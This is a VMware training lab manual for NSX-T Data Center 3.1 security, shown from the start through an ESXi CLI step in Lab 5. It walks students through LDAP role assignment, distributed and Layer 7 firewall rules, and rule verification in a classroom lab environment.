VMware NSX-T Data Center for

Intrinsic Security [3.1]

Lab Manual
NSX-T Data Center 3.1

VMware® Education Services

VMware, Inc.
www.vmware.com/education
VMware NSX-T Data Center for Intrinsic Security [3.1]

Lab Manual
NSX-T Data Center 3.1

Part Number EDU-EN-NSXTIS31-LAB (13-MAY-2021)

Copyright © 2021 VMware, Inc. All rights reserved. This manual and its accompanying
materials are protected by U.S. and international copyright and intellectual property laws.
VMware products are covered by one or more patents listed at
http://www.vmware.com/go/patents. VMware is a registered trademark or trademark of
VMware, Inc. in the United States and/or other jurisdictions. All other marks and names
mentioned herein may be trademarks of their respective companies. VMware vSphere®
Client™, VMware vSphere®, VMware vRealize® Log Insight™ for vCenter™, VMware
vRealize® Log Insight™, VMware vRealize®, VMware View®, VMware Horizon® View™,
VMware Verify™, VMware Horizon® 7, VMware Horizon® 7, VMware Horizon® 7 on VMware
Cloud™ on AWS, VMware NSX-T™ Data Center, VMware NSX-T™, VMware NSX®
Manager™, VMware NSX® Intelligence™, VMware NSX® Edge™, VMware NSX® Distributed
IDS/IPS™, VMware NSX® Data Center, VMware NSX®, VMware vCenter® Log Insight™,
VMware ESXi™ and VMware ESX® are registered trademarks or trademarks of VMware, Inc.
in the United States and/or other jurisdictions. All other marks and names mentioned herein
may be trademarks of their respective companies.

The training material is provided “as is,” and all express or implied conditions, representations,
and warranties, including any implied warranty of merchantability, fitness for a particular
purpose or noninfringement, are disclaimed, even if VMware, Inc., has been advised of the
possibility of such claims. This training material is designed to support an instructor-led training
course and is intended to be used for reference purposes in conjunction with the instructor-
led training course.

The training material is not a standalone training tool. Use of the training material for self-
study without class attendance is not recommended. These materials and the computer
programs to which it relates are the property of, and embody trade secrets and confidential
information proprietary to, VMware, Inc., and may not be reproduced, copied, disclosed,
transferred, adapted or modified without the express written approval of VMware, Inc.

www.vmware.com/education
Contents

Lab 1 Reviewing the Lab Environment ...................................................................................... 7

Task 1: Access the Lab Environment ........................................................................................................................... 7
Task 2: Review the Lab Environment Configuration ............................................................................................. 8
Task 3: Review the Network Topology...................................................................................................................... 9
Task 4: Review the 3-Tier Application Architecture ............................................................................................. 9
Lab 2 Managing Users and Roles ................................................................................................ 11
Task 1: Prepare for the Lab .............................................................................................................................................. 11
Task 2: Add an Active Directory Domain as an Identity Source ..................................................................... 12
Task 3: Assign a Security Administrator Role to a Domain User and Test Permissions ....................... 13
Lab 3 Configuring the NSX Distributed Firewall.................................................................. 15
Task 1: Prepare for the Lab ............................................................................................................................................. 15
Task 2: Test the IP Connectivity................................................................................................................................... 15
Task 3: Create Security Groups .................................................................................................................................... 17
Task 4: Create Distributed Firewall Rules ................................................................................................................. 19
Task 5: Test the IP Connectivity After the Firewall Rule Creation................................................................. 21
Task 6: Export the Distributed Firewall Configuration ........................................................................................ 22
Task 7: Modify the Distributed Firewall Configuration ........................................................................................ 23
Task 8: Import the Distributed Firewall Configuration ........................................................................................ 23
Lab 4 Configuring Layer 7 Distributed Firewall Rules ...................................................... 25
Task 1: Prepare for the Lab ............................................................................................................................................ 25
Task 2: Test Web Connectivity ................................................................................................................................... 26
Task 3: Create Security Groups ................................................................................................................................... 26
Task 4: Create Layer 7 Distributed Firewall Rules ............................................................................................... 27
Task 5: Test Web Connectivity After the Firewall Rule Creation ................................................................. 28

iii
Lab 5 Troubleshooting the NSX Distributed Firewall........................................................ 31
Task 1: Verify the Distributed Firewall Rules from the ESXi CLI ..................................................................... 32
Task 2: Verify the Layer 7 Distributed Firewall Rules from the ESXi CLI ................................................... 36
Task 3: Verify the Distributed Firewall Rules from the KVM CLI .................................................................... 38
Task 4: Prepare for the Next Lab .............................................................................................................................. 40
Lab 6 Configuring the Time-Based Firewall Policies ......................................................... 41
Task 1: Prepare for the Lab .............................................................................................................................................41
Task 2: Verify the NTP Status on ESXi and KVM Hosts....................................................................................42
Task 3: Configure the Time-Based Distributed Firewall Rules .........................................................................43
Task 4: Test the HTTP Connectivity Outside the Time Window ..................................................................45
Task 5: Validate the Time-Based Distributed Firewall Rules from the CLI ................................................ 46
Task 6: Test the HTTP Connectivity in the Time Window .............................................................................. 49
Task 7: Prepare for the Next Lab............................................................................................................................... 50
Lab 7 Configuring the Identity Firewall Rules ....................................................................... 51
Task 1: Prepare for the Lab ............................................................................................................................................. 51
Task 2: Enable an Identity Firewall .............................................................................................................................. 52
Task 3: Add an Active Directory Domain to NSX ................................................................................................ 52
Task 4: Test the SSH Connectivity............................................................................................................................. 53
Task 5: Create an Identity Firewall Rule ...................................................................................................................54
Task 6: Verify the Identity Firewall Rule Operation ............................................................................................. 55
Task 7: Verify the Identity Firewall Rules from the ESXi CLI ........................................................................... 55
Task 8: Prepare for the Next Lab ............................................................................................................................... 57
Lab 8 Configuring the NSX Gateway Firewall .................................................................... 59
Task 1: Prepare for the Lab ............................................................................................................................................ 59
Task 2: Test SSH Connectivity .................................................................................................................................... 60
Task 3: Configure a Gateway Firewall Rule to Block External SSH Requests ......................................... 60
Task 4: Test the Effect of the Configured Gateway Firewall Rule................................................................. 61
Lab 9 Troubleshooting the NSX Gateway Firewall .......................................................... 63
Task 1: Prepare for the Lab ............................................................................................................................................ 63
Task 2: Verify the Gateway Rules from the NSX Edge CLI ............................................................................. 63
Task 3: Prepare for the Next Lab ...............................................................................................................................66
Lab 10 Analyzing Web Traffic with URL Analysis ............................................................. 67
Task 1: Prepare for the Lab ............................................................................................................................................ 67

iv
Task 2: Enable URL Analysis .........................................................................................................................................68
Task 3: Configure Custom Context Profiles for URL Analysis ........................................................................68
Task 4: Create a Layer 7 Rule for DNS Traffic ......................................................................................................69
Task 5: Generate Traffic for External Websites................................................................................................... 70
Task 6: Review the URL Analysis Dashboard ....................................................................................................... 70
Task 7: Prepare for the Next Lab............................................................................................................................... 70
Lab 11 Using vRealize Log Insight to Diagnose NSX Distributed Firewall Rules .... 71
Task 1: Prepare for the Lab ............................................................................................................................................. 71
Task 2: Configure vRealize Log Insight as a Syslog Server.............................................................................. 72
Task 3: Configure Distributed Firewall Logging ..................................................................................................... 72
Task 4: Generate Firewall Traffic................................................................................................................................. 73
Task 5: Use vRealize Log Insight to Review Distributed Firewall Logs and Events ............................... 73
Task 6: Prepare for the Next Lab ............................................................................................................................... 74
Lab 12 Using NSX Intelligence to Gain Security Insights ................................................. 77
Task 1: Prepare for the Lab ............................................................................................................................................ 77
Task 2: Check the Health Status of NSX Intelligence ......................................................................................... 78
Task 3: Generate Traffic Flows .................................................................................................................................... 79
Task 4: Visualize Traffic Flows ..................................................................................................................................... 80
Task 5: Generate Security Recommendations ....................................................................................................... 81
Task 6: Modify and Publish Security Recommendations ................................................................................... 82
Task 7: Review the Configured Distributed Firewall Rules and Security Groups ....................................83
Task 8: Prepare for the Next Lab ............................................................................................................................... 83
Lab 13 Configuring Distributed Intrusion Detection and Prevention ......................... 85
Task 1: Prepare for the Lab ............................................................................................................................................ 85
Task 2: Download the Intrusion Detection and Prevention Signatures .......................................................86
Task 3: Enable Distributed Intrusion Detection and Prevention for a vSphere Cluster ........................86
Task 4: Create an Intrusion Detection and Prevention Profile ........................................................................ 87
Task 5: Configure the Intrusion Detection Rules ................................................................................................... 87
Task 6: Generate Malicious Traffic ..............................................................................................................................89
Task 7: Analyze Intrusion Detection Events .......................................................................................................... 94
Task 8: Modify the IDS/IPS Settings to Prevent Malicious Traffic ................................................................ 95
Task 9: Generate and Analyze Intrusion Prevention Events ............................................................................96
Lab 14 Troubleshooting NSX Distributed IDS/IPS ............................................................ 99
Task 1: Review the NSX Distributed IDS/IPS Configuration from ESXCLI ................................................99

v
Task 2: Review the NSX Distributed IDS/IPS Log Files ................................................................................... 101
Task 3: Enable the IDS/IPS Event Logging and Generate Malicious Traffic............................................ 102
Task 4: Prepare for the Next Lab ............................................................................................................................. 105
Lab 15 Using Network Traffic Analysis to Detect Threats .......................................... 107
Task 1: Prepare for the Lab .......................................................................................................................................... 107
Task 2: Enable Threat Detection ............................................................................................................................... 107
Task 3: Generate Malicious Traffic ............................................................................................................................ 108
Task 4: Analyze Threat Detection Events .............................................................................................................. 110

vi
Lab 1 Reviewing the Lab Environment

Objective and Tasks

Prepare for all labs by reviewing the lab environment and its configuration:

1. Access the Lab Environment

2. Review the Lab Environment Configuration

3. Review the Network Topology

4. Review the 3-Tier Application Architecture

Task 1: Access the Lab Environment

You access and manage the lab environment from the student desktop. The system assigned to
you serves as an end-user terminal.
1. Verify that you are successfully logged in to the student desktop.

If not, log in to your student desktop by entering vclass\administrator as the username and VMware1!
as the password.

7
Task 2: Review the Lab Environment Configuration
You review the lab environment configuration to be used in future labs.

1. Review the configuration information.

One software-defined data center (SDDC) is available as part of the vSphere environment.
Datacenter-01 contains two vSphere clusters:

• Management-Edge-Cluster: Used to deploy NSX components such as NSX Edge nodes,

NSX Intelligence, and other third-party tools required for the lab. The hosts in this cluster
run NSX components, but do not participate in the NSX network.

• Compute-Cluster: Used to run the virtual machines that participate in the NSX network.
This cluster runs a 3-Tier application that includes a web server, application server, and
database server. It also runs a Windows operating system and a web application with
known vulnerabilities.

• The lab also includes an extra web server running on KVM.

8
Task 3: Review the Network Topology
During this course, you assume the role of a Security Administrator. Although you are not
expected to configure switching and routing in the environment, it will be helpful for you to
understand the networking topology used in the labs.

1. Review the preconfigured network topology in your NSX-T Data Center environment.

Task 4: Review the 3-Tier Application Architecture

The environment runs a 3-Tier application with database, application, and web tiers. You must
understand the communication between these virtual machines as the 3-Tier application is used in
several labs during this course.

1. Review the 3-Tier Application diagram to understand the communication channels between
its components.

9
Lab 2 Managing Users and Roles

Objective and Tasks

Integrate NSX Manager with Active Directory over LDAP and assign NSX roles to domain users:

1. Prepare for the Lab

2. Add an Active Directory Domain as an Identity Source

3. Assign a Security Administrator Role to a Domain User and Test Permissions

Task 1: Prepare for the Lab

You log in to the NSX UI.

1. From your student desktop, open Chrome.

2. Click the NSX-T Data Center > NSX Manager bookmark.

3. If the Your connection is not private message appears, click Advanced and
click the Proceed to sa-nsxmgr-01.vclass.local (unsafe) link.
4. On the login page, enter admin as the user name and VMware1!VMware1! as the
password.

11
Task 2: Add an Active Directory Domain as an Identity Source
You use LDAP to add an Active Directory Domain to NSX Manager.

1. On the NSX UI Home page, navigate to System > Settings > Users and Roles and click the
LDAP tab.

2. Click ADD IDENTITY SOURCE.

3. Configure the new identity source.

Option Action

Name Enter VCLASS in the text box.

Domain Name (FQDN) Enter vclass.local in the text box.

Type Select Active Directory over LDAP (default).

Base DN Enter CN=Users,DC=vclass,DC=local in the text box.

LDAP Servers Click the Set link.

4. When the Set LDAP Server window appears, click ADD LDAP SERVER.

5. Configure the LDAP server.

Option Action

Hostname/IP Enter dc.vclass.local in the text box.

LDAP Protocol Select LDAP (default).

Port Enter 389 (default) in the text box.

Bind Identity Enter administrator@vclass.local in the text box.

Password Enter VMware1! in the text box.

Leave all other settings at their default values.

6. Click the Check Status link and verify that the connection status is Successful.

7. Click ADD and click APPLY.

8. Click SAVE.

9. Click the Check Status link and verify that the connection status is Successful.

12
Task 3: Assign a Security Administrator Role to a Domain User and
Test Permissions
You assign the Security Administrator role to an Active Directory domain user and verify the
user's permissions.
1. On the NSX UI home page, navigate to System > Settings > Users and Roles and click the
USERS tab.
2. Click ADD and select Role Assignment for LDAP.
3. When the role assignment window appears, select VCLASS from the Search Domain drop-
down menu.
4. Enter jdoe in the Serach User/User Group Name text box and select the
jdoe@vclass.local user.
5. In the Roles column, select Security Admin from the Select Roles drop-down menu.
6. Click SAVE.
7. At the upper-right corner of the NSX UI, click the admin user and select Log out.
You are automatically redirected to the login screen.
8. Log in to the NSX UI as jdoe.
a. Enter jdoe@vclass.local as the user name and enter VMware1! as the
password.
b. Click LOG IN.

9. At the upper-right corner of the NSX UI, verify that you are logged in as jdoe@vclass.local.
Note that NSX UI has automatically changed to dark theme mode to visually differentiate
that you are logged in as a different user.
10. Navigate to Networking > Connectivity > Segments and verify that the ADD SEGMENT
button is greyed-out.
The greyed-out button indicates that users with the Security Admin role do not have
permissions to create or configure segments.

11. Navigate to Networking > Connectivity > Tier-1 Gateways and verify that the ADD TIER-1
GATEWAY button is greyed-out.
The greyed-out button indicates that users with the Security Admin role do not have
permissions to create or configure Tier-1 gateways.
12. Navigate to Security > East West Security > Distributed Firewall.
13. Click CATEGORY SPECIFIC RULES and click the APPLICATION tab.
14. Click +ADD POLICY and verify that as a Security Admin you have permission to configure
distributed firewall policies and rules.
To delete the newly created policy, click the vertical ellipsis icon next to New Policy and select
Delete Policy.

13
14
Lab 3 Configuring the NSX
Distributed Firewall

Objective and Tasks

Create NSX distributed firewall rules to allow or deny the application traffic:

1. Prepare for the Lab

2. Test the IP Connectivity

3. Create Security Groups

4. Create Distributed Firewall Rules

5. Test the IP Connectivity After the Firewall Rule Creation

6. Export the Distributed Firewall Configuration

7. Modify the Distributed Firewall Configuration

8. Import the Distributed Firewall Configuration

Task 1: Prepare for the Lab

You log in to the NSX UI.

1. From your student desktop, open Chrome.

2. Click the NSX-T Data Center > NSX Manager bookmark.

3. On the login page, enter jdoe@vclass.local as the user name and VMware1! as the
password.

Task 2: Test the IP Connectivity

You verify the IP connectivity among the virtual machines in the 3-Tier application.

1. Use MTPuTTY to open an SSH console to sa-web-01.

MTPuTTY is located in the toolbar of the student desktop.

15
2. Test the ICMP reachability.

• ping -c 2 172.16.20.11 (sa-app-01)

• ping -c 2 172.16.30.11 (sa-db-01)
All pings are successful.

3. Test the HTTPS access to the application server.

a. From the sa-web-01 console, request an HTTPS webpage from sa-app-01.

curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is returned from sa-app-01.

4. Test the HTTP access to the database server.

a. Use MTPuTTY to open an SSH console to sa-app-01.

b. Request an HTTP webpage from sa-db-01.

curl http://172.16.30.11/cgi-bin/data.py
c. Verify that the HTTP response is returned from sa-db-01.

5. Verify that the 3-Tier application is accessible by using a web browser.

a. From your student desktop, open Chrome.

b. Click the 3-Tier App > 3-Tier App Access bookmark.

c. If prompted, click Advanced and click the Proceed to 172.16.20.11 (unsafe) link to
accept the certificate.
d. Verify that the browser returns a Customer Database Access webpage.

16
Task 3: Create Security Groups
You create three dynamic security groups and one static security group for the future definition
of firewall rules.

1. On the NSX UI Home page, navigate to Inventory > Groups.

2. Add a group.

a. Click ADD GROUP.

b. Enter Web-Servers as the name.

c. Click the Set Members link under Compute Members and click +ADD CRITERIA.

d. Under Criteria 1, add the configuration values.

• First entry: Select Virtual Machine from the drop-down menu.

• Second entry: Select Name from the drop-down menu.

• Third entry: Select Contains from the drop-down menu.

• Fourth entry: Enter web in the text box.

e. Click APPLY and click SAVE.

3. Click the View Members link for the Web-Servers group.

4. Verify that the sa-web-01, sa-web-02, and sa-web-03-victim virtual machines are listed and
click CLOSE.

5. Add a group.

a. Click ADD GROUP.

b. Enter App-Servers as the name.

c. Click the Set Members link under Compute Members and click +ADD CRITERIA.

d. Under Criteria 1, add the configuration values.

• First entry: Select Virtual Machine from the drop-down menu.

• Second entry: Select Name from the drop-down menu.

• Third entry: Select Contains from the drop-down menu.

• Fourth entry: Enter app in the text box.

e. Click APPLY and click SAVE.

6. Click the View Members link for the App-Servers group.

7. Verify that the sa-app-01 virtual machine is listed and click CLOSE.

17
8. Add a group.

a. Click ADD GROUP.

b. Enter DB-Servers as the name.

c. Click the Set Members link under Compute Members and click +ADD CRITERIA.

d. Under Criteria 1, add the configuration values.

• First entry: Select Virtual Machine from the drop-down menu.
• Second entry: Select Name from the drop-down menu.
• Third entry: Select Contains from the drop-down menu.
• Fourth entry: Enter db in the text box.
e. Click APPLY and click SAVE.

9. Click the View Members link for the DB-Servers group.

10. Verify that the sa-db-01 virtual machine is listed and click CLOSE.

11. Add a group.

a. Click ADD GROUP.
b. Enter 3-Tier as the name.
c. Click the Set Members link under Compute Members.
d. Click the Members tab.
e. Select Groups from the category drop-down menu.
f. Find and select the check boxes for App-Servers, DB-Servers, and Web-Servers.
g. Click APPLY and click SAVE.

12. Click the View Members link for the 3-Tier group.

13. Verify that all VMs for the 3-tier application are listed and click CLOSE.

18
Task 4: Create Distributed Firewall Rules
You create distributed firewall rules to manage traffic between applications.

1. In the NSX UI, navigate to Security > East West Security > Distributed Firewall.

2. Click CATEGORY SPECIFIC RULES and click the APPLICATION tab.

3. Click +ADD POLICY.

4. After the row for the new policy appears, enter EXTERNAL ACCESS POLICY as the
name.

5. Click the vertical ellipsis icon near EXTERNAL ACCESS POLICY and select Add Rule.

6. In the first row, configure the rule.

a. In the Name column, enter Allow External Web Traffic as the name of the
new rule.
b. In the Sources column, leave Any (default) selected.
c. In the Destinations column, click the pencil icon, select the Web-Servers check box, and
click APPLY.
d. In the Services column, click the pencil icon, select the HTTPS check box, and click
APPLY.
e. In the Context Profiles column, leave None (default) selected.
f. In the Applied To column, click the pencil icon, click Groups, select the Web-Servers
check box, and click APPLY.
g. In the Action column, leave Allow (default) selected.
Leave the default values for all the other settings.
7. Click the vertical ellipsis icon near EXTERNAL ACCESS POLICY and select Add Policy
Below.
8. After the row for the new policy appears, enter 3-TIER POLICY as the name.
9. Click the vertical ellipsis icon near 3-TIER POLICY and select Add Rule to add three
distributed firewall rules.

IMPORTANT

Perform this step thrice to add three new distributed firewall rules under 3-TIER POLICY.

19
10. In the first row, configure the rule.

a. In the Name column, enter Allow Web Traffic as the name of the new rule.

b. In the Sources column, click the pencil icon, select the Web-Servers check box, and click
APPLY.

c. In the Destinations column, click the pencil icon, select the App-Servers check box, and
click APPLY.

d. In the Services column, click the pencil icon, click the Raw Port-Protocols tab, and click
ADD SERVICE ENTRY.
e. Select TCP from the Service Type drop-down menu, leave the Source Ports text box
blank, enter 8443 as the destination port, and click APPLY.

f. In the Context Profiles column, leave None (default) selected.

g. In the Applied To column, click the pencil icon, click Groups, select the Web-Servers and
App-Servers check boxes, and click APPLY.

h. In the Action column, leave Allow (default) selected.

Leave the default values for all the other settings.

11. In the second row, configure the rule.

a. In the Name column, enter Allow DB Traffic as the name of the new rule.

b. In the Sources column, click the pencil icon, select the App-Servers check box, and click
APPLY.

c. In the Destinations column, click the pencil icon, select the DB-Servers check box, and
click APPLY.
d. In the Services column, click the pencil icon, select the HTTP check box, and click
APPLY.

e. In the Context Profiles column, leave None (default) selected.

f. In the Applied To column, click the pencil icon, click Groups, select the App-Servers and
DB-Servers check boxes, and click APPLY.
g. In the Action column, leave Allow (default) selected.

Leave the default values for all the other settings.

20
12. In the third row, configure the rule.

a. In the Name column, enter Reject All Other Traffic as the name of the new
rule.

b. In the Sources column, click the pencil icon, select the 3-Tier check box, and click
APPLY.

c. In the Destinations column, click the pencil icon, select the 3-Tier check box, and click
APPLY.
d. In the Services column, leave Any (default) selected.

e. In the Context Profiles column, leave None (default) selected.

f. In the Applied To column, click the pencil icon, click Groups, select the 3-Tier check box,
and click APPLY.
g. In the Action column, select Reject from the drop-down menu.
Leave the default values for all the other settings.
13. At the top-right corner of the screen, click PUBLISH.

Task 5: Test the IP Connectivity After the Firewall Rule Creation

You test the connectivity between applications to verify that the distributed firewall rules were
successfully applied.

1. Use MTPuTTY to open an SSH console to sa-web-01.

MTPuTTY is located in the toolbar of the student desktop.

2. Test the ICMP reachability.

• ping -c 2 172.16.20.11 (sa-app-01)

• ping -c 2 172.16.30.11 (sa-db-01)
All pings fail because a distributed firewall rule is configured to reject all traffic that is not
explicitly allowed between the Web, App, and DB VMs.

3. Test the HTTPS access to the application server.

a. From the sa-web-01 console, request an HTTPS webpage from sa-app-01.

curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is returned from sa-app-01.

21
4. Test HTTP access to the database server.

a. Use MTPuTTY to open an SSH console to sa-app-01.

b. Request an HTTP webpage from sa-db-01.

curl http://172.16.30.11/cgi-bin/data.py
c. Verify that an HTTP response is returned from sa-db-01.

5. From the sa-app-01 console, try to open an SSH session to sa-db-01 to verify that only the
HTTP traffic is allowed between sa-app-01 and sa-db-01.

ssh 172.16.30.11
The connection is refused.

6. Verify that the 3-Tier application is accessible by using a web browser.

a. From your student desktop, open Chrome.

b. Click the 3-Tier App > 3-Tier App Access bookmark.

c. Verify that the browser returns a Customer Database Access webpage.

Task 6: Export the Distributed Firewall Configuration

You export and download the distributed firewall configuration.

1. In the NSX UI, navigate to Security > East West Security > Distributed Firewall.

2. From the ACTIONS drop-down menu at the top-right corner, select Export FW
Configuration.
3. In the Export Firewall Configurations wizard, enter VMware1! as the passphrase.

4. Click EXPORT.

The export of the firewall configuration takes a few seconds to complete.

5. Click DOWNLOAD to download the firewall configuration file.

6. Click DOWNLOAD to confirm.

22
Task 7: Modify the Distributed Firewall Configuration
You change the action and name of a distributed firewall rule.

1. In the NSX UI, navigate to Security > East West Security > Distributed Firewall.

2. Click CATEGORY SPECIFIC RULES and click the APPLICATION tab.

3. Find the Reject All Other Traffic distributed firewall rule under the 3-Tier Policy and select
Allow from the drop-down menu in the Action column.

4. Rename the Reject All Other Traffic distributed firewall rule to Allow All Other Traffic.

5. At the top-right corner of the screen, click PUBLISH.

6. Use MTPuTTY to open an SSH console to sa-web-01.

MTPuTTY is located in the toolbar of the student desktop.

7. Test the ICMP reachability.

• ping -c 2 172.16.20.11 (sa-app-01)

• ping -c 2 172.16.30.11 (sa-db-01)
All pings are successful because you changed the action of the rule to Allow.

Task 8: Import the Distributed Firewall Configuration

You import the previously saved configuration and revert the firewall rules to their original state.

1. In the NSX UI, navigate to Security > East West Security > Distributed Firewall.

2. From the ACTIONS drop-down menu on the top-right corner, select Import.

3. Provide the configuration details in the Import Draft wizard.

a. For Select File, click the BROWSE link, select the Zip file containing the DFW
configuration, and click Open.

The Zip file is downloaded to the C:\Materials folder of your student desktop by
default.

b. Enter VMware1! in the Passphrase text box.

c. Enter 3-Tier DFW Configuration in the Name text box.

4. Click IMPORT.

The import takes a few seconds to complete.

5. When the Draft '3-Tier DFW Configuration' imported

successfully message appears, click the View link at the right of the message.

23
6. Under Draft Changes, expand 3-TIER POLICY to see differences between the current
distributed firewall configuration and the imported configuration.

7. Click LOAD to revert to the imported configuration.

8. Click LOAD to confirm.

The action and name of the last rule of the 3-Tier Policy have changed back to Reject and
Reject All Other Traffic, respectively.

9. At the top-right corner of the screen, click PUBLISH.

10. Use MTPuTTY to open an SSH console to sa-web-01.

MTPuTTY is located in the toolbar of the student desktop.

11. Test the ICMP reachability.

• ping -c 2 172.16.20.11 (sa-app-01)

• ping -c 2 172.16.30.11 (sa-db-01)
All pings fail because a distributed firewall rule is configured to reject all traffic that is not
explicitly allowed between the Web, App, and DB VMs.

24
Lab 4 Configuring Layer 7 Distributed
Firewall Rules

Objective and Tasks

Create L7 distributed firewall rules to block traffic to specific websites:

1. Prepare for the Lab

2. Test Web Connectivity

3. Create Security Groups

4. Create Layer 7 Distributed Firewall Rules

5. Test Web Connectivity After the Firewall Rule Creation

Task 1: Prepare for the Lab

You log in to the vSphere Client UI and the NSX UI.

1. From your student desktop, log in to the vSphere Client UI.

a. Open Chrome.

b. Click the vSphere Site-A > vSphere Client (SA-VCSA-01) bookmark.

c. On the login page, enter administrator@vsphere.local as the user name and

VMware1! as the password.
2. Log in to the NSX UI.

a. Open another tab in Chrome.

b. Click the NSX-T Data Center > NSX Manager bookmark.

c. On the login page, enter jdoe@vclass.local as the user name and VMware1! as
the password.

25
Task 2: Test Web Connectivity
You verify that you can successfully access multiple websites from a Windows virtual machine.

1. From the vSphere Client, open a web console to the Win8 virtual machine.

a. Click the Win8 virtual machine.

b. On the Summary tab, select the Launch Web Console link.

c. Log in with dev@vclass.local as the user name and VMware1! as the password.

2. From the desktop of the Win8 virtual machine, open Chrome.

3. Click the Facebook bookmark and verify that you can successfully access the website.

4. Open a new browser tab, click the VMware bookmark, and verify that you can successfully
access the website.

5. Close Chrome.

Task 3: Create Security Groups

You create a security group for Windows workloads for the future definition of firewall rules.

1. On the NSX UI Home page, navigate to Inventory > Groups.

2. Add a group.

a. Click ADD GROUP.

b. Enter Windows as the name.

c. Click the Set Members link under Compute Members and click +ADD CRITERIA.

d. Under Criteria 1, add the configuration values.

• First entry: Select Virtual Machine from the drop-down menu.

• Second entry: Select OS Name from the drop-down menu.

• Third entry: Select Contains from the drop-down menu.

• Fourth entry: Enter Windows in the text box.

e. Click APPLY and click SAVE.

3. Click the View Members link for the Windows group.

4. Verify that the Win8 virtual machine is listed and click CLOSE.

26
Task 4: Create Layer 7 Distributed Firewall Rules
You create layer 7 distributed firewall rules to block traffic to specific websites.

1. In the NSX UI, navigate to Security > East West Security > Distributed Firewall.

2. Click CATEGORY SPECIFIC RULES and click the APPLICATION tab.

3. Click +ADD POLICY.

4. After the row for the new policy appears, enter LAYER-7 POLICY as the name.

5. Click the vertical ellipsis icon near LAYER-7 POLICY and select Add Rule to add two
distributed firewall rules.

IMPORTANT

Perform this step twice to add two new distributed firewall rules under LAYER-7 POLICY.

6. In the first row, configure the rule.

a. In the Name column, enter DNS Rule as the name of the new rule.

b. In the Sources column, click the pencil icon, select the Windows check box, and click
APPLY.

c. In the Destinations column, leave Any (default) selected.

d. In the Services column, click the pencil icon, select the DNS and DNS-UDP check boxes,
and click APPLY.
e. In the Context Profiles column, click the pencil icon, select the DNS check box, and click
APPLY.

f. In the Applied To column, click the pencil icon, click Groups, select the Windows check
box, and click APPLY.

g. In the Action column, leave Allow (default) selected.

Leave the default values for all the other settings.

27
7. In the second row, configure the rule.

a. In the Name column, enter Denylist Rule as the name of the new rule.

b. In the Sources column, click the pencil icon, select the Windows check box, and click
APPLY.

c. In the Destinations column, leave Any (default) selected.

d. In the Services column, click the pencil icon, select the HTTP and HTTPS check boxes,
and click APPLY.

e. In the Context Profiles column, click the pencil icon, and click ADD CONTEXT PROFILE.

f. Enter Blocked Domains as the name and click the Set link in the Attributes column.

g. Click ADD ATTRIBUTE, select Domain(FQDN) Name, click the vertical ellipsis icon next
to the Attribute Name/Values text box, and select Add FQDN.

h. Enter *facebook.com in the Domain column, click SAVE, and click ADD.

i. Click APPLY, click SAVE, and click APPLY.

j. In the Applied To column, click the pencil icon, click Groups, select the Windows check
box, and click APPLY.

k. In the Action column, select Reject from the drop-down menu.

Leave the default values for the other settings.

8. At the top-right corner of the screen, click PUBLISH.

Task 5: Test Web Connectivity After the Firewall Rule Creation

You verify that you can no longer access the websites blocked by the Layer 7 distributed firewall
rules.

1. If not already open, open a web console to the Win8 virtual machine from the vSphere
Client.

a. Click the Win8 virtual machine.

b. On the Summary tab, select the Launch Web Console link.

c. Log in with dev@vclass.local as the user name and VMware1! as the password.

2. From the desktop of the Win8 virtual machine, open Chrome.

28
3. Clear the cache of the Chrome browser.

a. Click the vertical ellipsis icon at the top-right corner of the browser.

b. Click Settings.

c. Under the Privacy and security section, click Clear browsing data.

d. Leave all the default values selected and click Clear data.

4. Close and open Chrome.

5. Click the Facebook bookmark.

Verify that you can no longer access this website, because it was explicitly blocked by using
a layer 7 firewall rule.
6. Open a new browser tab and click the VMware bookmark.

Verify that you can still access the website.

29
30
Lab 5 Troubleshooting the NSX
Distributed Firewall

Objective and Tasks

Verify distributed firewall rules from ESXi and KVM environments:

1. Verify the Distributed Firewall Rules from the ESXi CLI

2. Verify the Layer 7 Distributed Firewall Rules from the ESXi CLI

3. Verify the Distributed Firewall Rules from the KVM CLI

4. Prepare for the Next Lab

31
Task 1: Verify the Distributed Firewall Rules from the ESXi CLI
You use the native ESXi commands to query the distributed firewall rules that were applied to
the sa-web-01 VM.

1. Open MTPuTTY from the taskbar and click the SA-ESXi-03 tab.

2. Retrieve the name of the dvfilter associated with the vNIC of the sa-web-01 VM.

[root@sa-esxi-03:~] summarize-dvfilter | grep -A9 sa-web-01

world 266154 vmm0:sa-web-01 vcUuid:'50 1d fb 29 53 cc 02 7f-5e
81 69 1b 0f 03 28 9f'
port 100663323 sa-web-01.eth0
vNic slot 2
name: nic-266154-eth0-vmware-sfw.2
agentName: vmware-sfw
state: IOChain Attached
vmState: Attached
failurePolicy: failClosed
serviceVMID: 1
filter source: Dynamic Filter Creation
moduleName: nsxt-vsip-17107169
The vmware-sfw software construct stores and enforces DFW rules in the ESXi hosts. The
summarize-dvfilter command is used to retrieve the name of vmware-sfw
associated with the vNIC of a particular VM. This example seeks to retrieve the vmware-sfw
name of the sa-web-01 VM, which is nic-266154-eth0-vmware-sfw.2. This
identifier is used to query the rules associated with the vNIC of this VM. The identifier might
be different in your environment.
3. Record the details of the distributed firewall dvfilter applied to the sa-web-01 VM in the table
in your student worksheet.

sa-web-01 dvfilter Configuration Details

Parameter Value

agentName

name

vNIC slot

32
4. Retrieve the distributed firewall rules associated with a dvfilter.
[root@sa-esxi-03:~] vsipioctl getrules -f <dvfilter-name>
The rules attached to the sa-web-01 VM appear.
Example:
[root@sa-esxi-03:~] vsipioctl getrules -f nic-266154-eth0-
vmware-sfw.2
ruleset mainrs {
# generation number: 0
# realization time : 2020-11-04T09:15:18
# FILTER (APP Category) rules
rule 3047 at 1 (s) inout protocol tcp strict from any to
addrset 6a966fb0-6388-42d7-9585-03acee45028e port 443 accept;
rule 3048 at 2 (s) inout protocol tcp strict from addrset
6a966fb0-6388-42d7-9585-03acee45028e to addrset 04ee3f8f-af45-
45d3-a7d3-43843216c5cf port 8443 accept;
rule 3050 at 3 inout protocol any from addrset 084bb65c-a4b9-
45c2-b743-1477fcfffe15 to addrset 084bb65c-a4b9-45c2-b743-
1477fcfffe15 reject;
rule 3 at 4 (s) inout inet6 protocol ipv6-icmp icmptype 135
from any to any accept;
rule 3 at 5 (s) inout inet6 protocol ipv6-icmp icmptype 136
from any to any accept;
rule 4 at 6 (s) inout protocol udp from any to any port {67,
68} accept;
rule 2 at 7 (s) inout protocol any from any to any accept;

ruleset mainrs_L2 {
# generation number: 0
